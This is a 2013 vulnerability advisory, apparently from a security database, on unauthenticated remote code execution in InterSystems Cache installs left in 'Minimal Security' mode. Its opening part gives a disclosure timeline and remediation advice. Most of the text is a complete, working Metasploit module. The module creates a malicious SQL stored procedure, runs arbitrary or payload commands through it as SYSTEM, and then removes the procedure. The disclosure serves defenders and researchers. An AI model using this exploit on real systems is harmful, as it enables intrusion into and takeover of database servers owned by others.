Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:30080
HistoryDec 09, 2013 - 12:00 a.m.

Intersystems Cache Remote Code Execution (via Default 'Minimal Security' Install)

2013-12-0900:00:00
vulners.com
86

1) Overview

Title: Intersystems Cache Remote Code Execution (via Default 'Minimal Security' Install)
Product: Intersystems Cache
Product URL: http://www.intersystems.com/cache/index.html
Vendor: Intersystems
Affected Versions: Tested on Cache for Windows x86-64 & i386 2009.* thru 2012.*
<= 2007.* may not achieve RCE.
=> 2013.* requires manual web UI usage but RCE can still be achieved by manually creating the SQL stored procedure and calling it via SELECT procname('cmd')
CVE-ID: None - vendor is aware of the insecure default "Minimal Security" mode. Furthermore the installer provides "Normal" and "Locked down" modes which must be selected in order to have some level of security.
Severity: High
Credit: Bruk0ut

Disclosure timeline:
09/23/2013 - Vendor contacted and advised of highly insecure default configuration

09/24/2013 - Vendor responds to advise a case has been opened

10/08/2013 - Vendor responds to advise that product manager and developer group are looking into improving this initial default configuration and are closing the case

11/01/2013 - Vendor releases Cache version 2013.1.3 - according to change log this issue has not been addressed and no warning/advisory posted to advise customers against installing with default "'Minimal Security' configuration on http://www.intersystems.com/support/cflash/2013announce.html

11/18/2013 - Advisory and exploit disclosed to public


2) Product information

"InterSystems Cache is an advanced object database that provides in-memory speed with persistence, and the ability to handle huge volumes of transactional data. Plus, it can run SQL faster than relational databases. CachΠΉ enables rapid Web application development, massive scalability, and real-time queries against transactional data – with minimal maintenance and hardware requirements"


3) Advisory detail

The default installation of Intersystems Cache using the 'Minimal Security' mode, is very insecure in that the default "UnknownUser" mapping for anonymous user access to the web service (running on port TCP/57772 by default) - is granted privileges to "%All" roles, which can be used to comprise the system on which Cache has been installed.

Particularly the unrestricted access to the Cache SQL engine (http://host/csp/sys/exp/UtilSqlQuery.csp&#41; and the ability to create and execute stored procedures, results in allowing the use of the "Cache Object Script" language to be leveraged and thus one can achieve un-authenticated remote code execution with default SYSTEM privileges on windows systems, and with the non privileged 'cacheserver' user context on Linux systems.

Tested on Cache for Windows x86-64 & i386 2009.* thru 2012.*

Versions <= 2007.* have not been tested and possibly may not achieve RCE via UtilSqlQuery.csp

Versions => 2013.* requires manual web UI usage of the management portal (http://host/csp/sys/exp/&#37;25CSP.UI.Portal.SQL.Home.zen&#41; - but RCE can still be achieved by manually creating the SQL stored procedure and calling it via SELECT procname('cmd'). The reason for this is because from this version on, the management portal uses the CSPBroker service when dealing with HTTP POST requests, which adds a layer of complexity due to encrypting methods and functions with the user's session key. This is all abstracted by any JavaScript enabled browser but renders it difficult to script an exploit. Previous versions do NOT use the CSPBroker and use standard HTTP POST requests.


4) Proof of Concept

attached is cache_rce_pack.zip which contains

a) cache_rce.py - a standalone python exploit that exploits the vulnerability using a self explanatory menu system (and in turn uses MultipartPostHandler.py for uploading files due to Cache's requirement of multipart-formdata enctype).

b) cache_minimal_sec_exec.rb - Metasploit module submitted to Rapid7 on 11/18/2013 - uses CMDStagerVBS for windows targets or generic UNIX CMD payloads for *nix targets. Also has the option for single/specific cmd execution (non stager or payload).

5) Solution

Users should not use the default 'Minimal Security' setting during installation and should choose either 'Normal' or 'Locked Down'.

If a Cache installation has been installed using the 'Minimal Security' setting, the info here should be reviewed and the installation locked down -> http://docs.intersystems.com/ens20091/csp/docbook/DocBook.UI.Page.cls?KEY=GCAS_tighten

Furthermore the default admin accounts should have their passwords reset.


Contact

bruk0ut.sec .::at::. gmail com
PGP Key ID: 0xC570B9F4

================================================

================================================

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

web site for more information on licensing and terms of use.

http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::FileDropper

def initialize&#40;info = {}&#41;
	super&#40;update_info&#40;info,
		&#39;Name&#39;            =&gt; &#39;Intersystems Cache Remote Code Execution &#40;via Default Minimal Security Install&#41;&#39;,
		&#39;Description&#39;     =&gt; &#37;q{
			This module exploits default installations of Intersystems Cache which use the &#39;minimal&#39; initial security settings, unless changed during/post installation.
			Anonymous users are granted permissions to &#39;&#37;All&#39; roles within Cache, allowing for remote code execution to be achieved by creating a Cache SQL stored procedure which leverages
			the &#39;Cache Object Script&#39; scripting engine to execute commands under the context of SYSTEM for default windows installations, or non privileged &#39;cacheserver&#39; for default *nix installations.

			},
		&#39;Author&#39;          =&gt;[&#39;Bruk0ut&#39;],
		&#39;License&#39;         =&gt; MSF_LICENSE,
		&#39;References&#39;      =&gt;[ &#39;URL&#39;, &#39;tbd&#39;],
		&#39;DisclosureDate&#39; =&gt; &#39;Nov 18 2013&#39;,
		&#39;Platform&#39;       =&gt; [&#39;win&#39;, &#39;unix&#39;],
		&#39;Targets&#39;        =&gt;
			[
				[
					&#39;Windows Universal &#40;CMDStagerVBS&#41;&#39;,
					{
						&#39;Platform&#39; =&gt; &#39;win&#39;,
						&#39;Arch&#39; =&gt; ARCH_X86
					}
				],

				[
					&#39;Unix Universal &#40;CMD&#41;&#39;,
					{
						&#39;Platform&#39; =&gt; &#39;unix&#39;,
						&#39;Arch&#39; =&gt; ARCH_CMD
					}
				]
			],
		&#39;DefaultTarget&#39;  =&gt; 0,
		&#39;Privileged&#39;     =&gt; true #SYSTEM for windows, non priv&#39;d cacheserver acct for *nix
		&#41;&#41;

	register_options&#40;
		[
			Opt::RPORT&#40;57772&#41;,
			OptString.new&#40;&#39;TARGETURI&#39;, [ true, &#39;Path to SqlQuery form&#39;, &#39;/csp/sys/exp/UtilSqlQuery.csp&#39;]&#41;,
			OptString.new&#40;&#39;CMD&#39;, [ false, &#39;Execute this command instead of using command stager or Payload&#39;, &quot;&quot; ]&#41;,
			OptString.new&#40;&#39;STORED_PROC_NAME&#39;, [true, &#39;Stored Procedure name to create&#39;,&#39;random_alpha&#39;]&#41;
		], self.class&#41;

	register_advanced_options&#40;
		[
			OptBool.new&#40;&#39;DELETE_FILES&#39;, [ true, &#39;Delete the dropped files after exploitation&#39;, true ]&#41;
		], self.class&#41;
end

def check
	res = send_request_cgi&#40;
	{
		&#39;uri&#39; =&gt; target_uri.path,
		&#39;method&#39; =&gt; &#39;GET&#39;,
	},20&#41;

	if &#40;res.code == 401 or res.code == 404 or res.body =~ /user name/ or res.body =~ /User Name/&#41;
		Exploit::CheckCode::Safe
		# either not found or UtilSqlQuery.csp is protected by authentication &#40;non default install&#41;
	else
		Exploit::CheckCode::Vulnerable
	end
end



def create_sql_procedure&#40;procname&#41;
	# create Cache SQL stored procedure which uses Cache Object Script to acheive arbritrary code execution
	print_status&#40;&quot;Creating Cache SQL Stored Procedure: #{procname}&quot;&#41;
	rce_func = &quot;CREATE FUNCTION #{procname}&#40;CMD TEXT&#41; PROCEDURE RETURNS TEXT LANGUAGE OBJECTSCRIPT&#92;n&quot;
	rce_func &lt;&lt; &quot;{&#92;n&quot;
	rce_func &lt;&lt; &quot;Set rez = $ZF&#40;-1, ##class&#40;&#37;SYSTEM.Encryption&#41;.Base64Decode&#40;CMD&#41;&#41;&#92;r&#92;n&quot;
	rce_func &lt;&lt; &#39;Write &quot;rce_cmd_complete&quot;&#39; + &quot;&#92;r&#92;n&quot;
	rce_func &lt;&lt; &quot;}&#92;r&#92;n&quot;
	res = send_request_cgi&#40;
	{
		&#39;uri&#39; =&gt; target_uri.path,
		&#39;method&#39; =&gt; &#39;POST&#39;,
		&#39;vars_post&#39; =&gt;
		{
			&#39;$NAMESPACE&#39; =&gt; &#39;&#37;SYS&#39;,
			&#39;$CLASS&#39; =&gt; &#39;&#37;CSP.UI.SQL.QueryForm&#39;,
			&#39;$FRAME&#39; =&gt; &#39;_top&#39;,
			&#39;$FORMURL&#39; =&gt; Rex::Text.uri_encode&#40;target_uri.path&#41;,
			&#39;$AUTOFORM_EXECUTE&#39; =&gt; &#39;Execute Query&#39;,
			&#39;RuntimeMode&#39; =&gt; &#39;Logical Mode&#39;,
			&#39;MaxRows&#39; =&gt; &#39;1000&#39;,
			&#39;IEworkaound&#39; =&gt; &#39;&#39;,
			&#39;Query&#39; =&gt; rce_func
		}
	},20&#41;

	if &#40;not res or res.code == 500 or res.code==404&#41;
		abort&#40;&quot;Did not receive expected response... quitting&quot;&#41;
	elsif &#40;res.code == 401 or res.body =~ /user name/ or res.body =~ /User Name/&#41;
		abort&#40;&quot;UtilSqlQuery.csp is protected by authentication... quitting&quot;&#41;
	end

	#after initial form POST, server sends a 302 re-direct which must be followed to complete the request
	if &#40;res.headers[&#39;LOCATION&#39;]&#41;
		exec_url = res.headers[&#39;LOCATION&#39;]
		res = send_request_cgi&#40;
		{
			&#39;uri&#39; =&gt; exec_url,
			&#39;method&#39; =&gt; &#39;GET&#39;,
		},20&#41;
	else
		abort&#40;&quot;Could not parse exec url... quitting&quot;&#41;
	end
end

def drop_sql_procedure&#40;procname&#41;
	#Stored Procedure cleanup... rm as no longer required
	print_status&#40;&quot;Dropping Cache SQL Stored Procedure: #{procname}&quot;&#41;
	res = send_request_cgi&#40;
	{
		&#39;uri&#39; =&gt; target_uri.path,
		&#39;method&#39; =&gt; &#39;POST&#39;,
		&#39;vars_post&#39; =&gt;
		{
			&#39;$NAMESPACE&#39; =&gt; &#39;&#37;SYS&#39;,
			&#39;$CLASS&#39; =&gt; &#39;&#37;CSP.UI.SQL.QueryForm&#39;,
			&#39;$FRAME&#39; =&gt; &#39;_top&#39;,
			&#39;$FORMURL&#39; =&gt; Rex::Text.uri_encode&#40;target_uri.path&#41;,
			&#39;$AUTOFORM_EXECUTE&#39; =&gt; &#39;Execute Query&#39;,
			&#39;RuntimeMode&#39; =&gt; &#39;Logical Mode&#39;,
			&#39;MaxRows&#39; =&gt; &#39;1000&#39;,
			&#39;IEworkaound&#39; =&gt; &#39;&#39;,
			&#39;Query&#39; =&gt; &quot;DROP FUNCTION #{procname}&quot;
		}
	},20&#41;

	if &#40;not res or res.code == 500 or res.code==404&#41;
		abort&#40;&quot;Did not receive expected response... quitting&quot;&#41;
	end

	#after initial form POST, server sends a 302 re-direct which must be followed to complete the request
	if &#40;res.headers[&#39;LOCATION&#39;]&#41;
		exec_url = res.headers[&#39;LOCATION&#39;]
		res = send_request_cgi&#40;
		{
			&#39;uri&#39; =&gt; exec_url,
			&#39;method&#39; =&gt; &#39;GET&#39;,
		},20&#41;
	else
		abort&#40;&quot;Could not parse exec url... quitting&quot;&#41;
	end
end


def exploit
	#randomize stored procedure name
	if datastore[&#39;STORED_PROC_NAME&#39;] == &#39;random_alpha&#39;
		datastore[&#39;STORED_PROC_NAME&#39;] = rand_text_alpha&#40;6&#41;
	end

	#create stored procedure to acheive RCE
	create_sql_procedure&#40;datastore[&#39;STORED_PROC_NAME&#39;]&#41;

	#if CMD option is set, instead of using a payload, execute only this command, prefixed with &#39;cmd /c &#39; if target is Windows, or no prefix if *nix
	if not datastore[&#39;CMD&#39;].empty?
		if target.name =~ /Windows/
			print_status&#40;&quot;Executing command: cmd /c #{datastore[&#39;CMD&#39;]}&quot;&#41;
			execute_command&#40;&quot;cmd /c #{datastore[&#39;CMD&#39;]}&quot;&#41;
		else
			print_status&#40;&quot;Executing command: #{datastore[&#39;CMD&#39;]}&quot;&#41;
			execute_command&#40;datastore[&#39;CMD&#39;]&#41;
		end
		return
	end

	#if target is Windows, launch payload via CMDStagerVBS
	if target.name =~ /Windows/
		execute_cmdstager&#40; { :linemax =&gt; 1500 }&#41;

	#if *nix, execute CMD payload directly
	else
		print_status&#40;&quot;Executing UNIX CMD Payload #{payload.encoded}&quot;&#41;
		execute_command&#40;payload.encoded&#41;
	end

	#clean up stored procedure
	drop_sql_procedure&#40;datastore[&#39;STORED_PROC_NAME&#39;]&#41;
	handler
end

def execute_command&#40;cmd, opts = {}&#41;
	cmd = Rex::Text.encode_base64&#40;cmd&#41;
	#launch pre-created stored procedure and pass cmd as arg
	res = send_request_cgi&#40;
	{
		&#39;uri&#39; =&gt; target_uri.path,
		&#39;method&#39; =&gt; &#39;POST&#39;,
		&#39;vars_post&#39; =&gt;
		{
			&#39;$NAMESPACE&#39; =&gt; &#39;&#37;SYS&#39;,
			&#39;$CLASS&#39; =&gt; &#39;&#37;CSP.UI.SQL.QueryForm&#39;,
			&#39;$FRAME&#39; =&gt; &#39;_top&#39;,
			&#39;$FORMURL&#39; =&gt; Rex::Text.uri_encode&#40;target_uri.path&#41;,
			&#39;$AUTOFORM_EXECUTE&#39; =&gt; &#39;Execute Query&#39;,
			&#39;RuntimeMode&#39; =&gt; &#39;Logical Mode&#39;,
			&#39;MaxRows&#39; =&gt; &#39;1000&#39;,
			&#39;IEworkaound&#39; =&gt; &#39;&#39;,
			&#39;Query&#39; =&gt; &quot;SELECT #{datastore[&#39;STORED_PROC_NAME&#39;]}&#40;&#39;#{cmd}&#39;&#41;&quot;
		}
	},20&#41;

	if &#40;not res or res.code == 500 or res.code==404&#41;
		abort&#40;&quot;Did not receive expected response... quitting&quot;&#41;
	end

	#after initial form POST, server sends a 302 re-direct which must be followed to complete the request
	if &#40;res.headers[&#39;LOCATION&#39;]&#41;
		exec_url = res.headers[&#39;LOCATION&#39;]
		res = send_request_cgi&#40;
		{
			&#39;uri&#39; =&gt; exec_url,
			&#39;method&#39; =&gt; &#39;GET&#39;,
		},20&#41;
	else
		abort&#40;&quot;Could not parse exec url... quitting&quot;&#41;

	end

	#stored procedure outputs the string below to confirm that it executed
	if not res.body =~ /rce_cmd_complete/
		abort&#40;&quot;Unable to confirm if SQL stored procedure can be executed properly... quitting&quot;&#41;
	end
end

end